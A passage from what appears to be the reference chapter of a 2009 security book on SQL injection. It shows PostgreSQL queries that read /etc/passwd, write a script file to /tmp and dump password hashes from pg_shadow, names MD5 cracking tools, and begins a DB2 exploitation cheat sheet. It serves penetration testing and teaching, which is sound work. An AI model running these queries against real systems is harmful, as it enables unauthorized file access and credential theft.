SQL Injection Attacks and Defense - 2009

Local File Access
References • Chapter 10 449
Local files can be read by the superuser account using the following SQL. Files are opened
using the operating-system-level PostgreSQL user account:
CREATE TABLE filedata(t text);
COPY filedata FROM '/etc/passwd'; --
It is also possible to write local files using the following SQL. Files are created using the
operating-system-level PostgreSQL user account.
CREATE TABLE thefile(evildata text);
INSERT INTO thefile(evildata) VALUES ('some evil data');
COPY thefile (evildata) TO '/tmp/evilscript.sh';
Cracking Database Passwords
PostgreSQL passwords are hashed using the MD5 algorithm. The username is appended to
the password before hashing takes place and the resultant hash has the characters md5
prepended to it. The following SQL query will list usernames and password hashes from a
PostgreSQL database:
select usename||':'||passwd from pg_shadow;
An example entry for user sqlhacker is as follows:
sqlhacker:md544715a9661408abe727f9963bf6dad93
A number of password cracking tools support MD5 hashes, including MDCrack,
John the Ripper, and Cain & Abel.
DB2 Cheat Sheet
The DB2 database server from IBM is perhaps one of the least popular database platforms to
find integrated with a Web application. However, if you do encounter an SQL injection flaw
within a DB2-based application this section will help you exploit it.
Enumerating Database
Configuration Information and Schema
Table 10.24 lists SQL statements used to extract key configuration information. Table 10.25
lists the SQL statements used to enumerate schema information.